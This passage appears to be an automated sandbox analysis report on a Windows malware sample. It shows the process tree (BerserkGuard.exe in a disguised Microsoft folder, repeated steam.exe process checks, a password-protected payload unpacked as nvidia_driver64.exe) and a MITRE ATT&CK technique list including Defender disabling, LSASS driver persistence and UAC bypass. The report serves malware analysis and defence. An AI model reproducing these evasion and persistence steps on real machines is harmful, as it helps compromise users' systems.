        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3436
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4648
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5064
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4324
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1832
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4376
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4496
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1748
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1792
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4228
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:200
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4144
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1100
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5696
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5144
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5524
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4844
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1448
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3088
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4120
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2624
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5572
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4148
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:1144
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4296
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1728
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3624
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1364
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5896
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3964
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5536
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:236
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3304
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2344
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6028
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3840
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4288
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2524
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3256
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4780
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2728
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4424
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4804
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4688
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3880
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4828
  - - C:\Program Files\WindowsOptions\FACEITInstaller_64.exe
      "C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4452
    - - C:\Users\Admin\AppData\Local\Temp\is-VIZM1HUU2Q.tmp\FACEITInstaller_64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-VIZM1HUU2Q.tmp\FACEITInstaller_64.tmp" /SL5="$C006C,78251674,1136640,C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3832

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
PID:504

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure ExeGuardSvc
  2⤵
  - Launches sc.exe
  PID:1124

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3652

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2484
- C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
  "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_driver64.exe" "C:\Program Files\WindowsOptions"
  2⤵
  - Executes dropped EXE
  PID:4788
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3476
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:2300

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4024

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:712
- C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
  "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_driver64.exe" "C:\Program Files\WindowsOptions"
  2⤵
  - Executes dropped EXE
  PID:3536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5368
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3552

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
PID:3376
- C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
  "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_driver64.exe" "C:\Program Files\WindowsOptions"
  2⤵
  - Executes dropped EXE
  PID:1184
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry